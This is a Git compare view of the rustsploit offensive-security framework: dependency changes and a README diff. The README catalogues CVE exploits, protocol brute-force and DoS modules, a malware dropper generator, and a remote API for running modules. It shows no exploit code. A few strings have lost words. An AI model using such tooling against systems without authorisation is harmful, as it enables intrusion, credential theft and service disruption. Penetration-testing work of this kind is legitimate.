mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
72 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 30396b2414 | |||
| a24d9c79de | |||
| aed7b0b93e | |||
| c26a0f116c | |||
| 7a781ae2fa | |||
| ba3a6480d2 | |||
| ae435a2143 | |||
| 20b610a1d5 | |||
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 | |||
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd | |||
| 8eb8058ad6 | |||
| 63f8cac2ca | |||
| 71bc20cee0 | |||
| 34b6faf140 | |||
| 7f359683da | |||
| 1bbe3ae651 | |||
| 6100aa9964 | |||
| 0e3da4499f | |||
| 55a30f91f0 | |||
| 33284b158a | |||
| 624090055c | |||
| f60e5e50ca | |||
| 05f1a03dfc | |||
| 6dc6d2ecfb | |||
| 60163b46e6 | |||
| f185052df1 | |||
| a4a466083f | |||
| 1e285f95c7 | |||
| 9ac7c7fce2 | |||
| 268f7cec4f | |||
| 64c10cde10 | |||
| e534341e82 | |||
| ed30bde3ee | |||
| f166b8ac51 | |||
| 7e2a244fe5 | |||
| 512c75ebf1 | |||
| af7b2fc80f | |||
| 1cdebfead5 |
+107
-107
@@ -1,114 +1,114 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
version = "0.3.5"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.37", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2"
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "15.0"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
h2 = "0.3"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.7"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.0"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
pnet_packet = "0.34"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.20"
|
||||
regex = "1.11" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.24", features = ["dnssec"] }
|
||||
hickory-proto = "0.24"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
@@ -3,11 +3,13 @@
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
|
||||
@@ -16,25 +18,35 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
5. [CLI Usage](#cli-usage)
|
||||
6. [Proxy Workflow](#proxy-workflow)
|
||||
7. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
8. [Contributing](#contributing)
|
||||
9. [Credits](#credits)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root)
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
|
||||
---
|
||||
|
||||
@@ -44,11 +56,11 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, L2TP/IPsec brute force, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support) |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
@@ -58,7 +70,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
### Requirements
|
||||
|
||||
```
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
```
|
||||
@@ -67,7 +79,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
@@ -75,23 +87,113 @@ cargo build
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
|
||||
```
|
||||
```
|
||||
cargo install --path .
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `.com`, `.com:443`
|
||||
- URLs: `http://.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
|
||||
```
|
||||
```text
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
@@ -108,7 +210,7 @@ show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
Example session:
|
||||
session:
|
||||
|
||||
```
|
||||
rsf> f1 ssh
|
||||
@@ -128,7 +230,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
@@ -143,6 +245,187 @@ Any module exposed to the shell can be called here. Use the `modules` shell comm
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
```
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
### API Workflow
|
||||
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
@@ -150,7 +433,7 @@ Rustsploit treats proxy lists as first-class citizens:
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Test URL (default `https://.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
@@ -168,7 +451,7 @@ Rustsploit scans `src/modules/` recursively during build. Each module should exp
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
```
|
||||
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for :
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
+4003
File diff suppressed because it is too large
Load Diff
+174
-21
@@ -12,12 +12,13 @@
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
